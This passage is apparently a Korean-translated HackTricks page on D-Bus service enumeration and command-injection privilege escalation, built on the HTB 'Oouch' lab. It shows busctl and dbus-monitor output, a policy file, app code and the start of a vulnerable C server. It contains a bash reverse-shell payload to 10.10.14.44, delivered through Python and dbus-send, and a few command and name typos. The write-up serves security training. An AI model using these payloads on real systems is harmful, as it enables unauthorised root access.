D-Bus Enumeration & Command Injection Privilege Escalation

Tip

AWS ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°:HackTricks Training AWS Red Team Expert (ARTE)
GCP ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training GCP Red Team Expert (GRTE) Azure ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks μ§€μ›ν•˜κΈ°

GUI enumeration

D-BusλŠ” Ubuntu λ°μŠ€ν¬νƒ‘ ν™˜κ²½μ—μ„œ ν”„λ‘œμ„ΈμŠ€ κ°„ 톡신(IPC) μ€‘μž¬μžλ‘œ μ‚¬μš©λ©λ‹ˆλ‹€. Ubuntuμ—μ„œλŠ” μ—¬λŸ¬ λ©”μ‹œμ§€ λ²„μŠ€κ°€ λ™μ‹œμ— μš΄μ˜λ˜λŠ” 것을 κ΄€μ°°ν•  수 μžˆμŠ΅λ‹ˆλ‹€: μ‹œμŠ€ν…œ λ²„μŠ€λŠ” 주둜 μ‹œμŠ€ν…œ μ „λ°˜μ— 걸쳐 κ΄€λ ¨λœ μ„œλΉ„μŠ€λ₯Ό λ…ΈμΆœν•˜κΈ° μœ„ν•΄ 특ꢌ μ„œλΉ„μŠ€μ— μ˜ν•΄ μ‚¬μš©λ˜λ©°, 각 λ‘œκ·ΈμΈν•œ μ‚¬μš©μžμ— λŒ€ν•œ μ„Έμ…˜ λ²„μŠ€λŠ” ν•΄λ‹Ή νŠΉμ • μ‚¬μš©μžμ—κ²Œλ§Œ κ΄€λ ¨λœ μ„œλΉ„μŠ€λ₯Ό λ…ΈμΆœν•©λ‹ˆλ‹€. μ—¬κΈ°μ„œλŠ” κΆŒν•œ μƒμŠΉμ„ λͺ©ν‘œλ‘œ ν•˜κΈ° λ•Œλ¬Έμ— 더 높은 κΆŒν•œ(예: root)으둜 μ‹€ν–‰λ˜λŠ” μ„œλΉ„μŠ€μ™€μ˜ μ—°κ΄€μ„± λ•Œλ¬Έμ— μ‹œμŠ€ν…œ λ²„μŠ€μ— 주둜 μ΄ˆμ μ„ 맞μΆ₯λ‹ˆλ‹€. D-Bus의 μ•„ν‚€ν…μ²˜λŠ” 각 μ„Έμ…˜ λ²„μŠ€μ— λŒ€ν•΄ β€™λΌμš°ν„°β€™λ₯Ό μ‚¬μš©ν•˜μ—¬ ν΄λΌμ΄μ–ΈνŠΈκ°€ ν†΅μ‹ ν•˜κ³ μž ν•˜λŠ” μ„œλΉ„μŠ€μ— λŒ€ν•΄ μ§€μ •ν•œ μ£Όμ†Œμ— 따라 ν΄λΌμ΄μ–ΈνŠΈ λ©”μ‹œμ§€λ₯Ό μ μ ˆν•œ μ„œλΉ„μŠ€λ‘œ λ¦¬λ””λ ‰μ…˜ν•˜λŠ” 역할을 ν•©λ‹ˆλ‹€.

D-Bus의 μ„œλΉ„μŠ€λŠ” 그듀이 λ…ΈμΆœν•˜λŠ” 객체와 μΈν„°νŽ˜μ΄μŠ€μ— μ˜ν•΄ μ •μ˜λ©λ‹ˆλ‹€. κ°μ²΄λŠ” ν‘œμ€€ OOP μ–Έμ–΄μ˜ 클래슀 μΈμŠ€ν„΄μŠ€μ— λΉ„μœ λ  수 있으며, 각 μΈμŠ€ν„΄μŠ€λŠ” 객체 κ²½λ‘œμ— μ˜ν•΄ κ³ μœ ν•˜κ²Œ μ‹λ³„λ©λ‹ˆλ‹€. 이 κ²½λ‘œλŠ” 파일 μ‹œμŠ€ν…œ κ²½λ‘œμ™€ μœ μ‚¬ν•˜κ²Œ μ„œλΉ„μŠ€μ— μ˜ν•΄ λ…ΈμΆœλœ 각 객체λ₯Ό κ³ μœ ν•˜κ²Œ μ‹λ³„ν•©λ‹ˆλ‹€. 연ꡬ λͺ©μ μ„ μœ„ν•œ μ£Όμš” μΈν„°νŽ˜μ΄μŠ€λŠ” org.freedesktop.DBus.Introspectable μΈν„°νŽ˜μ΄μŠ€λ‘œ, 단일 λ©”μ„œλ“œμΈ Introspectλ₯Ό νŠΉμ§•μœΌλ‘œ ν•©λ‹ˆλ‹€. 이 λ©”μ„œλ“œλŠ” 객체가 μ§€μ›ν•˜λŠ” λ©”μ„œλ“œ, μ‹ ν˜Έ 및 μ†μ„±μ˜ XML ν‘œν˜„μ„ λ°˜ν™˜ν•˜λ©°, μ—¬κΈ°μ„œλŠ” 속성과 μ‹ ν˜Έλ₯Ό μƒλž΅ν•˜κ³  λ©”μ„œλ“œμ— μ΄ˆμ μ„ 맞μΆ₯λ‹ˆλ‹€.

D-Bus μΈν„°νŽ˜μ΄μŠ€μ™€μ˜ 톡신을 μœ„ν•΄ 두 κ°€μ§€ 도ꡬ가 μ‚¬μš©λ˜μ—ˆμŠ΅λ‹ˆλ‹€: D-Busμ—μ„œ λ…ΈμΆœλœ λ©”μ„œλ“œλ₯Ό μŠ€ν¬λ¦½νŠΈμ—μ„œ μ‰½κ²Œ ν˜ΈμΆœν•  수 μžˆλ„λ‘ ν•˜λŠ” CLI 도ꡬ인 gdbus와 각 λ²„μŠ€μ—μ„œ μ‚¬μš© κ°€λŠ₯ν•œ μ„œλΉ„μŠ€λ₯Ό μ—΄κ±°ν•˜κ³  각 μ„œλΉ„μŠ€μ— ν¬ν•¨λœ 객체λ₯Ό ν‘œμ‹œν•˜λ„λ‘ μ„€κ³„λœ Python 기반 GUI 도ꡬ인 D-Feetμž…λ‹ˆλ‹€.

sudo apt-get install d-feet

https://unit42.paloaltonetworks.com/wp-content/uploads/2019/07/word-image-21.png

https://unit42.paloaltonetworks.com/wp-content/uploads/2019/07/word-image-22.png

첫 번째 μ΄λ―Έμ§€μ—μ„œλŠ” D-Bus μ‹œμŠ€ν…œ λ²„μŠ€μ— λ“±λ‘λœ μ„œλΉ„μŠ€κ°€ ν‘œμ‹œλ˜λ©°, org.debin.aptκ°€ μ‹œμŠ€ν…œ λ²„μŠ€ λ²„νŠΌμ„ μ„ νƒν•œ ν›„ νŠΉλ³„νžˆ κ°•μ‘°λ©λ‹ˆλ‹€. D-FeetλŠ” 이 μ„œλΉ„μŠ€μ— λŒ€ν•΄ 객체λ₯Ό μΏΌλ¦¬ν•˜μ—¬ μ„ νƒλœ 객체의 μΈν„°νŽ˜μ΄μŠ€, λ©”μ„œλ“œ, 속성 및 μ‹ ν˜Έλ₯Ό ν‘œμ‹œν•˜λ©°, μ΄λŠ” 두 번째 μ΄λ―Έμ§€μ—μ„œ λ³Ό 수 μžˆμŠ΅λ‹ˆλ‹€. 각 λ©”μ„œλ“œμ˜ μ‹œκ·Έλ‹ˆμ²˜λ„ μžμ„Ένžˆ μ„€λͺ…λ˜μ–΄ μžˆμŠ΅λ‹ˆλ‹€.

μ£Όλͺ©ν•  λ§Œν•œ κΈ°λŠ₯은 μ„œλΉ„μŠ€μ˜ **ν”„λ‘œμ„ΈμŠ€ ID (pid)**와 λͺ…령쀄을 ν‘œμ‹œν•˜λŠ” κ²ƒμœΌλ‘œ, μ΄λŠ” μ„œλΉ„μŠ€κ°€ μƒμŠΉλœ κΆŒν•œμœΌλ‘œ μ‹€ν–‰λ˜λŠ”μ§€ ν™•μΈν•˜λŠ” 데 μœ μš©ν•˜λ©°, μ—°κ΅¬μ˜ 관련성에 μ€‘μš”ν•©λ‹ˆλ‹€.

D-FeetλŠ” λ©”μ„œλ“œ ν˜ΈμΆœλ„ ν—ˆμš©ν•©λ‹ˆλ‹€: μ‚¬μš©μžλŠ” λ§€κ°œλ³€μˆ˜λ‘œ Python ν‘œν˜„μ‹μ„ μž…λ ₯ν•  수 있으며, D-FeetλŠ” 이λ₯Ό D-Bus μœ ν˜•μœΌλ‘œ λ³€ν™˜ν•œ ν›„ μ„œλΉ„μŠ€λ₯Ό ν˜ΈμΆœν•©λ‹ˆλ‹€.

κ·ΈλŸ¬λ‚˜ 일뢀 λ©”μ„œλ“œλŠ” 인증이 ν•„μš”ν•˜λ‹€λŠ” 점에 μœ μ˜ν•΄μ•Ό ν•©λ‹ˆλ‹€. μš°λ¦¬λŠ” 자격 증λͺ… 없이 κΆŒν•œμ„ μƒμŠΉμ‹œν‚€λŠ” 것이 λͺ©ν‘œμ΄λ―€λ‘œ μ΄λŸ¬ν•œ λ©”μ„œλ“œλŠ” λ¬΄μ‹œν•  κ²ƒμž…λ‹ˆλ‹€.

λ˜ν•œ 일뢀 μ„œλΉ„μŠ€λŠ” μ‚¬μš©μžκ°€ νŠΉμ • μž‘μ—…μ„ μˆ˜ν–‰ν•  수 μžˆλŠ”μ§€ μ—¬λΆ€λ₯Ό ν™•μΈν•˜κΈ° μœ„ν•΄ org.freedeskto.PolicyKit1μ΄λΌλŠ” λ‹€λ₯Έ D-Bus μ„œλΉ„μŠ€μ— μΏΌλ¦¬ν•©λ‹ˆλ‹€.

Cmd line Enumeration

μ„œλΉ„μŠ€ 객체 λ‚˜μ—΄

μ—΄λ¦° D-Bus μΈν„°νŽ˜μ΄μŠ€λ₯Ό λ‚˜μ—΄ν•˜λŠ” 것은 κ°€λŠ₯ν•©λ‹ˆλ‹€:

busctl list #List D-Bus interfaces

NAME                                   PID PROCESS         USER             CONNECTION    UNIT                      SE
:1.0                                     1 systemd         root             :1.0          init.scope                -
:1.1345                              12817 busctl          qtc              :1.1345       session-729.scope         72
:1.2                                  1576 systemd-timesyn systemd-timesync :1.2          systemd-timesyncd.service -
:1.3                                  2609 dbus-server     root             :1.3          dbus-server.service       -
:1.4                                  2606 wpa_supplicant  root             :1.4          wpa_supplicant.service    -
:1.6                                  2612 systemd-logind  root             :1.6          systemd-logind.service    -
:1.8                                  3087 unattended-upgr root             :1.8          unattended-upgrades.serv… -
:1.820                                6583 systemd         qtc              :1.820        user@1000.service         -
com.ubuntu.SoftwareProperties            - -               -                (activatable) -                         -
fi.epitest.hostap.WPASupplicant       2606 wpa_supplicant  root             :1.4          wpa_supplicant.service    -
fi.w1.wpa_supplicant1                 2606 wpa_supplicant  root             :1.4          wpa_supplicant.service    -
htb.oouch.Block                       2609 dbus-server     root             :1.3          dbus-server.service       -
org.bluez                                - -               -                (activatable) -                         -
org.freedesktop.DBus                     1 systemd         root             -             init.scope                -
org.freedesktop.PackageKit               - -               -                (activatable) -                         -
org.freedesktop.PolicyKit1               - -               -                (activatable) -                         -
org.freedesktop.hostname1                - -               -                (activatable) -                         -
org.freedesktop.locale1                  - -               -                (activatable) -                         -

Connections

From wikipedia: ν”„λ‘œμ„ΈμŠ€κ°€ λ²„μŠ€μ— λŒ€ν•œ 연결을 μ„€μ •ν•˜λ©΄, λ²„μŠ€λŠ” ν•΄λ‹Ή 연결에 _고유 μ—°κ²° 이름_μ΄λΌλŠ” νŠΉλ³„ν•œ λ²„μŠ€ 이름을 ν• λ‹Ήν•©λ‹ˆλ‹€. μ΄λŸ¬ν•œ μœ ν˜•μ˜ λ²„μŠ€ 이름은 λΆˆλ³€μ΄λ©°, 연결이 μ‘΄μž¬ν•˜λŠ” ν•œ λ³€κ²½λ˜μ§€ μ•Šμ„ 것이 보μž₯λ©λ‹ˆλ‹€. 더 μ€‘μš”ν•œ 것은, λ²„μŠ€μ˜ 수λͺ… λ™μ•ˆ μž¬μ‚¬μš©λ  수 μ—†λ‹€λŠ” κ²ƒμž…λ‹ˆλ‹€. μ΄λŠ” ν•΄λ‹Ή λ²„μŠ€μ— λŒ€ν•œ λ‹€λ₯Έ 연결이 κ·ΈλŸ¬ν•œ 고유 μ—°κ²° 이름을 ν• λ‹Ήλ°›μ§€ μ•ŠμŒμ„ μ˜λ―Έν•˜λ©°, λ™μΌν•œ ν”„λ‘œμ„ΈμŠ€κ°€ λ²„μŠ€μ— λŒ€ν•œ 연결을 μ’…λ£Œν•˜κ³  μƒˆ 연결을 μƒμ„±ν•˜λ”λΌλ„ λ§ˆμ°¬κ°€μ§€μž…λ‹ˆλ‹€. 고유 μ—°κ²° 이름은 κΈˆμ§€λœ 콜둠 문자둜 μ‹œμž‘ν•˜κΈ° λ•Œλ¬Έμ— μ‰½κ²Œ 인식할 수 μžˆμŠ΅λ‹ˆλ‹€.

Service Object Info

그런 λ‹€μŒ, λ‹€μŒμ„ μ‚¬μš©ν•˜μ—¬ μΈν„°νŽ˜μ΄μŠ€μ— λŒ€ν•œ 정보λ₯Ό 얻을 수 μžˆμŠ΅λ‹ˆλ‹€:

busctl status htb.oouch.Block #Get info of "htb.oouch.Block" interface

PID=2609
PPID=1
TTY=n/a
UID=0
EUID=0
SUID=0
FSUID=0
GID=0
EGID=0
SGID=0
FSGID=0
SupplementaryGIDs=
Comm=dbus-server
CommandLine=/root/dbus-server
Label=unconfined
CGroup=/system.slice/dbus-server.service
Unit=dbus-server.service
Slice=system.slice
UserUnit=n/a
UserSlice=n/a
Session=n/a
AuditLoginUID=n/a
AuditSessionID=n/a
UniqueName=:1.3
EffectiveCapabilities=cap_chown cap_dac_override cap_dac_read_search
cap_fowner cap_fsetid cap_kill cap_setgid
cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service
cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock
cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot
cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot
cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config
cap_mknod cap_lease cap_audit_write cap_audit_control
cap_setfcap cap_mac_override cap_mac_admin cap_syslog
cap_wake_alarm cap_block_suspend cap_audit_read
PermittedCapabilities=cap_chown cap_dac_override cap_dac_read_search
cap_fowner cap_fsetid cap_kill cap_setgid
cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service
cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock
cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot
cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot
cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config
cap_mknod cap_lease cap_audit_write cap_audit_control
cap_setfcap cap_mac_override cap_mac_admin cap_syslog
cap_wake_alarm cap_block_suspend cap_audit_read
InheritableCapabilities=
BoundingCapabilities=cap_chown cap_dac_override cap_dac_read_search
cap_fowner cap_fsetid cap_kill cap_setgid
cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service
cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock
cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot
cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot
cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config
cap_mknod cap_lease cap_audit_write cap_audit_control
cap_setfcap cap_mac_override cap_mac_admin cap_syslog
cap_wake_alarm cap_block_suspend cap_audit_read

List Interfaces of a Service Object

κΆŒν•œμ΄ μΆ©λΆ„ν•΄μ•Ό ν•©λ‹ˆλ‹€.

busctl tree htb.oouch.Block #Get Interfaces of the service object

└─/htb
└─/htb/oouch
└─/htb/oouch/Block

μ„œλΉ„μŠ€ 객체의 μΈν„°νŽ˜μ΄μŠ€ 쑰사

이 μ˜ˆμ œμ—μ„œλŠ” tree λ§€κ°œλ³€μˆ˜λ₯Ό μ‚¬μš©ν•˜μ—¬ 발견된 μ΅œμ‹  μΈν„°νŽ˜μ΄μŠ€κ°€ μ„ νƒλœ 것을 μ£Όλͺ©ν•˜μ„Έμš” (이전 μ„Ήμ…˜ μ°Έμ‘°):

busctl introspect htb.oouch.Block /htb/oouch/Block #Get methods of the interface

NAME                                TYPE      SIGNATURE RESULT/VALUE FLAGS
htb.oouch.Block                     interface -         -            -
.Block                              method    s         s            -
org.freedesktop.DBus.Introspectable interface -         -            -
.Introspect                         method    -         s            -
org.freedesktop.DBus.Peer           interface -         -            -
.GetMachineId                       method    -         s            -
.Ping                               method    -         -            -
org.freedesktop.DBus.Properties     interface -         -            -
.Get                                method    ss        v            -
.GetAll                             method    s         a{sv}        -
.Set                                method    ssv       -            -
.PropertiesChanged                  signal    sa{sv}as  -            -

λ…ΈνŠΈ μΈν„°νŽ˜μ΄μŠ€ htb.oouch.Block의 λ©”μ„œλ“œ .Block (μš°λ¦¬κ°€ 관심 μžˆλŠ” 것). λ‹€λ₯Έ μ—΄μ˜ β€œsβ€œλŠ” λ¬Έμžμ—΄μ„ κΈ°λŒ€ν•˜κ³  μžˆλ‹€λŠ” 의미일 수 μžˆμŠ΅λ‹ˆλ‹€.

λͺ¨λ‹ˆν„°/캑처 μΈν„°νŽ˜μ΄μŠ€

μΆ©λΆ„ν•œ κΆŒν•œμ΄ 있으면 (단지 send_destination 및 receive_sender κΆŒν•œλ§ŒμœΌλ‘œλŠ” 뢀쑱함) D-Bus 톡신을 λͺ¨λ‹ˆν„°λ§ν•  수 μžˆμŠ΅λ‹ˆλ‹€.

톡신을 λͺ¨λ‹ˆν„°λ§ν•˜λ €λ©΄ rootμ—¬μ•Ό ν•©λ‹ˆλ‹€. μ—¬μ „νžˆ root둜 문제λ₯Ό κ²ͺκ³  μžˆλ‹€λ©΄ https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/ 및 https://wiki.ubuntu.com/DebuggingDBusλ₯Ό ν™•μΈν•˜μ„Έμš”.

Warning

D-Bus ꡬ성 νŒŒμΌμ„ μ„€μ •ν•˜μ—¬ λΉ„λ£¨νŠΈ μ‚¬μš©μžκ°€ 톡신을 μŠ€λ‹ˆν•‘ν•  수 μžˆλ„λ‘ ν—ˆμš©ν•˜λŠ” 방법을 μ•Œκ³  μžˆλ‹€λ©΄ 연락해 μ£Όμ„Έμš”!

λͺ¨λ‹ˆν„°λ§ν•˜λŠ” λ‹€μ–‘ν•œ 방법:

sudo busctl monitor htb.oouch.Block #Monitor only specified
sudo busctl monitor #System level, even if this works you will only see messages you have permissions to see
sudo dbus-monitor --system #System level, even if this works you will only see messages you have permissions to see

λ‹€μŒ μ˜ˆμ œμ—μ„œ μΈν„°νŽ˜μ΄μŠ€ htb.oouch.Block이 λͺ¨λ‹ˆν„°λ§λ˜κ³  λ©”μ‹œμ§€ β€œlalalalalβ€œκ°€ 잘λͺ»λœ μ˜μ‚¬μ†Œν†΅μ„ 톡해 μ „μ†‘λ©λ‹ˆλ‹€:

busctl monitor htb.oouch.Block

Monitoring bus message stream.
β€£ Type=method_call  Endian=l  Flags=0  Version=1  Priority=0 Cookie=2
Sender=:1.1376  Destination=htb.oouch.Block  Path=/htb/oouch/Block  Interface=htb.oouch.Block  Member=Block
UniqueName=:1.1376
MESSAGE "s" {
STRING "lalalalal";
};

β€£ Type=method_return  Endian=l  Flags=1  Version=1  Priority=0 Cookie=16  ReplyCookie=2
Sender=:1.3  Destination=:1.1376
UniqueName=:1.3
MESSAGE "s" {
STRING "Carried out :D";
};

capture λŒ€μ‹  monitorλ₯Ό μ‚¬μš©ν•˜μ—¬ κ²°κ³Όλ₯Ό pcap νŒŒμΌμ— μ €μž₯ν•  수 μžˆμŠ΅λ‹ˆλ‹€.

λͺ¨λ“  μž‘μŒμ„ ν•„ν„°λ§ν•˜κΈ°

λ²„μŠ€μ— 정보가 λ„ˆλ¬΄ 많으면 λ‹€μŒκ³Ό 같이 일치 κ·œμΉ™μ„ μ „λ‹¬ν•˜μ„Έμš”:

dbus-monitor "type=signal,sender='org.gnome.TypingMonitor',interface='org.gnome.TypingMonitor'"

μ—¬λŸ¬ κ·œμΉ™μ„ μ§€μ •ν•  수 μžˆμŠ΅λ‹ˆλ‹€. λ©”μ‹œμ§€κ°€ μ–΄λ–€ κ·œμΉ™κ³Ό μΌμΉ˜ν•˜λ©΄ λ©”μ‹œμ§€κ°€ 좜λ ₯λ©λ‹ˆλ‹€. λ‹€μŒκ³Ό 같이:

dbus-monitor "type=error" "sender=org.freedesktop.SystemToolsBackends"
dbus-monitor "type=method_call" "type=method_return" "type=error"

D-Bus λ¬Έμ„œλ₯Ό μ°Έμ‘°ν•˜μ—¬ 맀치 κ·œμΉ™ ꡬ문에 λŒ€ν•œ μžμ„Έν•œ 정보λ₯Ό ν™•μΈν•˜μ„Έμš”.

더 λ§Žμ€ 정보

busctlμ—λŠ” 더 λ§Žμ€ μ˜΅μ…˜μ΄ 있으며, μ—¬κΈ°μ—μ„œ λͺ¨λ‘ ν™•μΈν•˜μ„Έμš”.

μ·¨μ•½ν•œ μ‹œλ‚˜λ¦¬μ˜€

μ‚¬μš©μž HTB의 β€œoouch” 호슀트 λ‚΄μ˜ qtcλ‘œμ„œ, _/etc/dbus-1/system.d/htb.oouch.Block.conf_에 μœ„μΉ˜ν•œ μ˜ˆμƒμΉ˜ λͺ»ν•œ D-Bus ꡬ성 νŒŒμΌμ„ 찾을 수 μžˆμŠ΅λ‹ˆλ‹€.

<?xml version="1.0" encoding="UTF-8"?> <!-- -*- XML -*- -->

<!DOCTYPE busconfig PUBLIC
"-//freedesktop//DTD D-BUS Bus Configuration 1.0//EN"
"http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd">

<busconfig>

<policy user="root">
<allow own="htb.oouch.Block"/>
</policy>

<policy user="www-data">
<allow send_destination="htb.oouch.Block"/>
<allow receive_sender="htb.oouch.Block"/>
</policy>

</busconfig>

이전 κ΅¬μ„±μ—μ„œ 정보λ₯Ό μ „μ†‘ν•˜κ³  μˆ˜μ‹ ν•˜λ €λ©΄ root λ˜λŠ” www-data μ‚¬μš©μžμ—¬μ•Ό ν•©λ‹ˆλ‹€ D-BUS 톡신을 톡해.

도컀 μ»¨ν…Œμ΄λ„ˆ aeb4525789d8 λ‚΄μ˜ μ‚¬μš©μž qtcλ‘œμ„œ /code/oouch/routes.py νŒŒμΌμ—μ„œ dbus κ΄€λ ¨ μ½”λ“œλ₯Ό 찾을 수 μžˆμŠ΅λ‹ˆλ‹€. 이것이 ν₯미둜운 μ½”λ“œμž…λ‹ˆλ‹€:

if primitive_xss.search(form.textfield.data):
bus = dbus.SystemBus()
block_object = bus.get_object('htb.oouch.Block', '/htb/oouch/Block')
block_iface = dbus.Interface(block_object, dbus_interface='htb.oouch.Block')

client_ip = request.environ.get('REMOTE_ADDR', request.remote_addr)
response = block_iface.Block(client_ip)
bus.close()
return render_template('hacker.html', title='Hacker')

λ³΄μ‹œλ‹€μ‹œν”Ό, D-Bus μΈν„°νŽ˜μ΄μŠ€μ— μ—°κ²°ν•˜κ³  β€œBlock” ν•¨μˆ˜μ— β€œclient_ipβ€œλ₯Ό μ „μ†‘ν•˜κ³  μžˆμŠ΅λ‹ˆλ‹€.

D-Bus μ—°κ²°μ˜ λ°˜λŒ€νŽΈμ—λŠ” C둜 컴파일된 λ°”μ΄λ„ˆλ¦¬κ°€ μ‹€ν–‰λ˜κ³  μžˆμŠ΅λ‹ˆλ‹€. 이 μ½”λ“œλŠ” D-Bus μ—°κ²°μ—μ„œ IP μ£Όμ†Œλ₯Ό μˆ˜μ‹  λŒ€κΈ°ν•˜κ³  μ£Όμ–΄μ§„ IP μ£Όμ†Œλ₯Ό μ°¨λ‹¨ν•˜κΈ° μœ„ν•΄ system ν•¨μˆ˜λ₯Ό 톡해 iptablesλ₯Ό ν˜ΈμΆœν•˜κ³  μžˆμŠ΅λ‹ˆλ‹€.
system ν˜ΈμΆœμ€ μ˜λ„μ μœΌλ‘œ λͺ…λ Ή μ£Όμž…μ— μ·¨μ•½ν•˜λ―€λ‘œ, λ‹€μŒκ³Ό 같은 νŽ˜μ΄λ‘œλ“œλŠ” λ¦¬λ²„μŠ€ 셸을 μƒμ„±ν•©λ‹ˆλ‹€: ;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #

Exploit it

이 νŽ˜μ΄μ§€μ˜ λμ—μ„œ D-Bus μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ˜ 전체 C μ½”λ“œλ₯Ό 찾을 수 μžˆμŠ΅λ‹ˆλ‹€. κ·Έ μ•ˆμ—λŠ” 91-97ν–‰ 사이에 D-Bus 객체 경둜 **및 μΈν„°νŽ˜μ΄μŠ€ 이름**이 λ“±λ‘λ˜λŠ” 방법이 μžˆμŠ΅λ‹ˆλ‹€. 이 μ •λ³΄λŠ” D-Bus 연결에 정보λ₯Ό μ „μ†‘ν•˜λŠ” 데 ν•„μš”ν•©λ‹ˆλ‹€:

/* Install the object */
r = sd_bus_add_object_vtable(bus,
&slot,
"/htb/oouch/Block",  /* interface */
"htb.oouch.Block",   /* service object */
block_vtable,
NULL);

λ˜ν•œ, 57번째 μ€„μ—μ„œ 이 D-Bus 톡신에 λ“±λ‘λœ μœ μΌν•œ λ©”μ„œλ“œκ°€ Block이라고 λͺ…μ‹œλ˜μ–΄ μžˆμŠ΅λ‹ˆλ‹€(κ·Έλž˜μ„œ λ‹€μŒ μ„Ήμ…˜μ—μ„œλŠ” νŽ˜μ΄λ‘œλ“œκ°€ μ„œλΉ„μŠ€ 객체 htb.oouch.Block, μΈν„°νŽ˜μ΄μŠ€ /htb/oouch/Block 및 λ©”μ„œλ“œ 이름 Block으둜 전솑될 κ²ƒμž…λ‹ˆλ‹€):

SD_BUS_METHOD("Block", "s", "s", method_block, SD_BUS_VTABLE_UNPRIVILEGED),

Python

λ‹€μŒ 파이썬 μ½”λ“œλŠ” block_iface.Block(runme)λ₯Ό 톡해 Block λ©”μ„œλ“œμ— νŽ˜μ΄λ‘œλ“œλ₯Ό D-Bus μ—°κ²°λ‘œ μ „μ†‘ν•©λ‹ˆλ‹€ (이 μ½”λ“œλŠ” 이전 μ½”λ“œ μ‘°κ°μ—μ„œ μΆ”μΆœλ˜μ—ˆμŠ΅λ‹ˆλ‹€):

import dbus
bus = dbus.SystemBus()
block_object = bus.get_object('htb.oouch.Block', '/htb/oouch/Block')
block_iface = dbus.Interface(block_object, dbus_interface='htb.oouch.Block')
runme = ";bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #"
response = block_iface.Block(runme)
bus.close()

busctl 및 dbus-send

dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block htb.oouch.Block.Block string:';pring -c 1 10.10.14.44 #'
  • dbus-sendλŠ” β€œMessage Busβ€œμ— λ©”μ‹œμ§€λ₯Ό λ³΄λ‚΄λŠ” 데 μ‚¬μš©λ˜λŠ” λ„κ΅¬μž…λ‹ˆλ‹€.
  • Message Bus – μ‹œμŠ€ν…œμ΄ μ• ν”Œλ¦¬μΌ€μ΄μ…˜ κ°„μ˜ 톡신을 μ‰½κ²Œ ν•˜κΈ° μœ„ν•΄ μ‚¬μš©ν•˜λŠ” μ†Œν”„νŠΈμ›¨μ–΄μž…λ‹ˆλ‹€. μ΄λŠ” Message Queue와 관련이 μžˆμ§€λ§Œ (λ©”μ‹œμ§€κ°€ μˆœμ„œλŒ€λ‘œ 정렬됨) Message Busμ—μ„œλŠ” λ©”μ‹œμ§€κ°€ ꡬ독 λͺ¨λΈλ‘œ μ „μ†‘λ˜λ©° 맀우 λΉ λ¦…λ‹ˆλ‹€.
  • β€œ-system” νƒœκ·ΈλŠ” μ„Έμ…˜ λ©”μ‹œμ§€κ°€ μ•„λ‹Œ μ‹œμŠ€ν…œ λ©”μ‹œμ§€λ₯Ό μ–ΈκΈ‰ν•˜λŠ” 데 μ‚¬μš©λ©λ‹ˆλ‹€ (κΈ°λ³Έκ°’).
  • β€œβ€“print-reply” νƒœκ·ΈλŠ” 우리의 λ©”μ‹œμ§€λ₯Ό μ μ ˆν•˜κ²Œ 좜λ ₯ν•˜κ³  인간이 읽을 수 μžˆλŠ” ν˜•μ‹μœΌλ‘œ 응닡을 λ°›λŠ” 데 μ‚¬μš©λ©λ‹ˆλ‹€.
  • β€œβ€“dest=Dbus-Interface-Block” Dbus μΈν„°νŽ˜μ΄μŠ€μ˜ μ£Όμ†Œμž…λ‹ˆλ‹€.
  • β€œβ€“string:” – μš°λ¦¬κ°€ μΈν„°νŽ˜μ΄μŠ€μ— λ³΄λ‚΄κ³ μž ν•˜λŠ” λ©”μ‹œμ§€μ˜ μœ ν˜•μž…λ‹ˆλ‹€. λ©”μ‹œμ§€λ₯Ό λ³΄λ‚΄λŠ” μ—¬λŸ¬ ν˜•μ‹μ΄ 있으며, μ΄μ—λŠ” double, bytes, booleans, int, objpathκ°€ ν¬ν•¨λ©λ‹ˆλ‹€. 이 쀑 β€œobject pathβ€λŠ” 파일의 경둜λ₯Ό Dbus μΈν„°νŽ˜μ΄μŠ€μ— λ³΄λ‚΄κ³ μž ν•  λ•Œ μœ μš©ν•©λ‹ˆλ‹€. 이 경우 νŠΉλ³„ν•œ 파일(FIFO)을 μ‚¬μš©ν•˜μ—¬ 파일 μ΄λ¦„μœΌλ‘œ μΈν„°νŽ˜μ΄μŠ€μ— λͺ…령을 전달할 수 μžˆμŠ΅λ‹ˆλ‹€. β€œstring:;” – μ΄λŠ” FIFO λ¦¬λ²„μŠ€ μ‰˜ 파일/λͺ…λ Ήμ˜ μœ„μΉ˜λ₯Ό λ‹€μ‹œ ν˜ΈμΆœν•˜κΈ° μœ„ν•œ κ²ƒμž…λ‹ˆλ‹€.

htb.oouch.Block.Blockμ—μ„œ 첫 번째 λΆ€λΆ„(htb.oouch.Block)은 μ„œλΉ„μŠ€ 객체λ₯Ό μ°Έμ‘°ν•˜κ³  λ§ˆμ§€λ§‰ λΆ€λΆ„(.Block)은 λ©”μ„œλ“œ 이름을 μ°Έμ‘°ν•©λ‹ˆλ‹€.

C code

//sudo apt install pkgconf
//sudo apt install libsystemd-dev
//gcc d-bus_server.c -o dbus_server `pkg-config --cflags --libs libsystemd`

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <systemd/sd-bus.h>

static int method_block(sd_bus_message *m, void *userdata, sd_bus_error *ret_error) {
char* host = NULL;
int r;

/* Read the parameters */
r = sd_bus_message_read(m, "s", &host);
if (r < 0) {
